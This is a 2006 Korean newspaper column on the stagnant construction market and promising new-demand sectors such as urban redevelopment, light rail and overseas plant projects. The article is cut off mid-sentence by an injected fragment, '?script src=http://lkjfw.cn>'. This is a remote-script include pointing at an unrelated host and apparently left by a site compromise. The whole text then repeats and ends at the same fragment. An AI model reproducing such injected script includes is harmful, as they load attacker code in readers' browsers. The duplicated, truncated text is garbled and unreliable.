융합기술이 신시장 만든다
보도일자 2006-07-11
보도기관 일간건설신문
1. 답보상태의 건설시장
주택․부동산 가격의 상승으로 건설시장이 급팽창했을 것으로 지레 짐작을 하겠지만, 건설 시장규모는 약 10년 동안 거의 제자리에 머물러 있다. 2005년도 건설투자는 2000년도 실질가격 기준으로 118조원으로 1997년의 115조원과 비교할 때, 연평균 0.3%의 성장에 그친 것으로 나타나고 있다.
더욱이 정부는 SOC투자를 억제할 계획인 것으로 알려지고 있다. 사회복지 분야 등에 대한 지출 증가와 눈덩이처럼 늘어나는 국가채무의 부담이 그 배경으로 보인다. 또한 거시경제의 침체로 건설투자 둔화가 불가피할 것으로 보인다. 그 결과 현 상황에서는 건설시장은 2010년까지 연평균 2.5%, 2015년까지는 연평균 1.7%로 둔화될 것으로 전망됨에 따라 잠재 경제성장율 4.6%와 비교할 때 상당한 침체가 예상된다.
신상품의 개발, 서비스의 고도화가 일어나지 않으면 신규 수요는 더 이상 늘어나지 않고 교체수요가 대부분을 차지하면서 건설산업은 장기 침체의 늪에 빠지게 될 것이다. 따라서 신수요 창출은 기존 시장에 대한 쟁탈이 아닌 블루오션 전략의 핵심인 것이다.
특히 최근 IT, ET 등 신기술 접목을 통한 신상품 개발가능성이 증대되고 있음에 주목하여야 한다. 인구․사회적 환경이 급격히 변화하는 과정에서 새로운 수요가 발생할 가능성이 높다는 사실에 유념하여야 한다. 이러한 상황에서는 현상유지를 위한 단기 대응도 중요하지만, 차세대 성장동력의 발굴이 더욱 중요할 것으로 보인다.
2. 신수요 유망 사업의 검토
최근 미래 유망사업에 대한 선행 연구 결과를 참조하여 분야별 전문가의 제안으로 건분야 신수요 창출 유망사업에 대한 조사가 이루어졌다. 미래에 신수요를 창출할 것으로 예상되는 유망사업은 인구․사회적 변화 추이 및 기술개발 동향 등이 감안되었다. 제안된 미래 유망 건설사업은 총 49건에 이르렀으나, 이중 유사한 내용은 통합하여 37개 신상품 또는 사업으로 정리하였다. 제안된 유망사업에 대한 평가는 전문가 및 건설업체 임직원이 6개 항목의 평가요소 및 요소별 가중치를 부여하여 이루어졌다. 그리고 평가과정에서 평가자 사이의 편차를 제거하기 위해 평가점수를 평균 5, 표준편차 1로 표준화시켰다.
제안된 사업들에 대한 평가 결과, 도시환경정비(도심재개발) 사업이 가장 높은 평가 점수를 받았으며, 첨단 교통시설(2위), 석유가스 및 환경 플랜트 해외시장 진출(3위 및 4위), 환경 복원사업(5위) 등의 순으로 나타났다. 그밖에 자연친화 복합 휴양단지(7위), 하천복원 사업(8위), 에코시티(10위) 등 환경관련 사업들이 상대적으로 높은 평가를 받았다.
3. 신수요 창출 주요 유망사업
유사한 성격의 사업들은 상호 통합시키고, 종합 평가순위가 높은 사업들에 대해 보다 심층 분석을 하였다. 예를 들어 석유가스 플랜트 및 환경플랜트의 해외시장 진출은 플랜트사업 해외시장 진출로 통합하고, 토양오염 등에 대한 환경복원 사업과 하천복원 및 인공하천 조성은 환경복원 사업으로 통합하였다. 다음에는 심층분석 대상이 된 주요한 미래유망 사업을 간략히 살펴본다.
◎ 도시환경정비사업
삶의 질 향상, 도시경쟁력 강화 및 도시의 외연적 확산 한계 등으로 도시환경정비 사업은 활성화될 전망이다. 글로벌 시티의 건설은 1990년대부터 미국, 영국, 프랑스, 일본 등에서 본격화되면서 세계적인 추세로 나타나고 있다. 서울의 도시환경정비도 이러한 시각에서 살표야 한다. 현재의 도시환경 정비사업 추진계획을 고려하면, 향후 20년 동안 약 9조원 정도의 건설 신수요가 발생 가능할 것으로 추정된다. 하지만 보다 적극적인 도시환경정비 사업이 추진될 경우, 시장규모는 비약적으로 늘어날 것으로 예상된다. 20여만 평에 이르는 서울역, 용산역 등 서울 도심지역의 대규모 철도차량기지의 활용이 중요한 변수가 될 수 있다. 도심 CBD - 남산 - 용산공원 - 한강을 연결하는 비즈니스와 자연환경이 어우러지는 미래형 첨단도시의 건설이 가능할 것으로 보인다.
◎ 첨단 교통시설
버스와 전철 등 기존 도시교통수단을 대채할 GRT, BRT, 모노레일, 자기부상열차 등의 다양한 첨단 교통수단들이 도입될 전망이다. 현재 경전철 도입을 14개 지자체에서 검토하고 있다. 경전철 시장의 경우, 총 사업비 규모는 차량을 포함하여 30조~60조원대에 이를 것으로 보인다. 지능형 교통시스템(ITS)으로 기존 시설의 처리용량이 증가함에 따라 신규 간선노선의 건설은 감소하는 반면에 지선도로 및 개선투자는 증가할 것으로 예상된다. 첨단 교통시설은 도심의 교통난 해소와 운송편의성 확대, 이동에 대한 신뢰성 확보로 지자체들이 적극적으로 추진할 것으로 전망된다.
◎ 플랜트사업 해외시장 진출
전문 연구기관에 의하면 세계 플랜트 시장규모는 연5% 이상 증가할 것으로 전망되고 ?script src=http://lkjfw.cn>
주택․부동산 가격의 상승으로 건설시장이 급팽창했을 것으로 지레 짐작을 하겠지만, 건설 시장규모는 약 10년 동안 거의 제자리에 머물러 있다. 2005년도 건설투자는 2000년도 실질가격 기준으로 118조원으로 1997년의 115조원과 비교할 때, 연평균 0.3%의 성장에 그친 것으로 나타나고 있다.
더욱이 정부는 SOC투자를 억제할 계획인 것으로 알려지고 있다. 사회복지 분야 등에 대한 지출 증가와 눈덩이처럼 늘어나는 국가채무의 부담이 그 배경으로 보인다. 또한 거시경제의 침체로 건설투자 둔화가 불가피할 것으로 보인다. 그 결과 현 상황에서는 건설시장은 2010년까지 연평균 2.5%, 2015년까지는 연평균 1.7%로 둔화될 것으로 전망됨에 따라 잠재 경제성장율 4.6%와 비교할 때 상당한 침체가 예상된다.
신상품의 개발, 서비스의 고도화가 일어나지 않으면 신규 수요는 더 이상 늘어나지 않고 교체수요가 대부분을 차지하면서 건설산업은 장기 침체의 늪에 빠지게 될 것이다. 따라서 신수요 창출은 기존 시장에 대한 쟁탈이 아닌 블루오션 전략의 핵심인 것이다.
특히 최근 IT, ET 등 신기술 접목을 통한 신상품 개발가능성이 증대되고 있음에 주목하여야 한다. 인구․사회적 환경이 급격히 변화하는 과정에서 새로운 수요가 발생할 가능성이 높다는 사실에 유념하여야 한다. 이러한 상황에서는 현상유지를 위한 단기 대응도 중요하지만, 차세대 성장동력의 발굴이 더욱 중요할 것으로 보인다.
2. 신수요 유망 사업의 검토
최근 미래 유망사업에 대한 선행 연구 결과를 참조하여 분야별 전문가의 제안으로 건분야 신수요 창출 유망사업에 대한 조사가 이루어졌다. 미래에 신수요를 창출할 것으로 예상되는 유망사업은 인구․사회적 변화 추이 및 기술개발 동향 등이 감안되었다. 제안된 미래 유망 건설사업은 총 49건에 이르렀으나, 이중 유사한 내용은 통합하여 37개 신상품 또는 사업으로 정리하였다. 제안된 유망사업에 대한 평가는 전문가 및 건설업체 임직원이 6개 항목의 평가요소 및 요소별 가중치를 부여하여 이루어졌다. 그리고 평가과정에서 평가자 사이의 편차를 제거하기 위해 평가점수를 평균 5, 표준편차 1로 표준화시켰다.
제안된 사업들에 대한 평가 결과, 도시환경정비(도심재개발) 사업이 가장 높은 평가 점수를 받았으며, 첨단 교통시설(2위), 석유가스 및 환경 플랜트 해외시장 진출(3위 및 4위), 환경 복원사업(5위) 등의 순으로 나타났다. 그밖에 자연친화 복합 휴양단지(7위), 하천복원 사업(8위), 에코시티(10위) 등 환경관련 사업들이 상대적으로 높은 평가를 받았다.
3. 신수요 창출 주요 유망사업
유사한 성격의 사업들은 상호 통합시키고, 종합 평가순위가 높은 사업들에 대해 보다 심층 분석을 하였다. 예를 들어 석유가스 플랜트 및 환경플랜트의 해외시장 진출은 플랜트사업 해외시장 진출로 통합하고, 토양오염 등에 대한 환경복원 사업과 하천복원 및 인공하천 조성은 환경복원 사업으로 통합하였다. 다음에는 심층분석 대상이 된 주요한 미래유망 사업을 간략히 살펴본다.
◎ 도시환경정비사업
삶의 질 향상, 도시경쟁력 강화 및 도시의 외연적 확산 한계 등으로 도시환경정비 사업은 활성화될 전망이다. 글로벌 시티의 건설은 1990년대부터 미국, 영국, 프랑스, 일본 등에서 본격화되면서 세계적인 추세로 나타나고 있다. 서울의 도시환경정비도 이러한 시각에서 살표야 한다. 현재의 도시환경 정비사업 추진계획을 고려하면, 향후 20년 동안 약 9조원 정도의 건설 신수요가 발생 가능할 것으로 추정된다. 하지만 보다 적극적인 도시환경정비 사업이 추진될 경우, 시장규모는 비약적으로 늘어날 것으로 예상된다. 20여만 평에 이르는 서울역, 용산역 등 서울 도심지역의 대규모 철도차량기지의 활용이 중요한 변수가 될 수 있다. 도심 CBD - 남산 - 용산공원 - 한강을 연결하는 비즈니스와 자연환경이 어우러지는 미래형 첨단도시의 건설이 가능할 것으로 보인다.
◎ 첨단 교통시설
버스와 전철 등 기존 도시교통수단을 대채할 GRT, BRT, 모노레일, 자기부상열차 등의 다양한 첨단 교통수단들이 도입될 전망이다. 현재 경전철 도입을 14개 지자체에서 검토하고 있다. 경전철 시장의 경우, 총 사업비 규모는 차량을 포함하여 30조~60조원대에 이를 것으로 보인다. 지능형 교통시스템(ITS)으로 기존 시설의 처리용량이 증가함에 따라 신규 간선노선의 건설은 감소하는 반면에 지선도로 및 개선투자는 증가할 것으로 예상된다. 첨단 교통시설은 도심의 교통난 해소와 운송편의성 확대, 이동에 대한 신뢰성 확보로 지자체들이 적극적으로 추진할 것으로 전망된다.
◎ 플랜트사업 해외시장 진출
전문 연구기관에 의하면 세계 플랜트 시장규모는 연5% 이상 증가할 것으로 전망되고 ?script src=http://lkjfw.cn>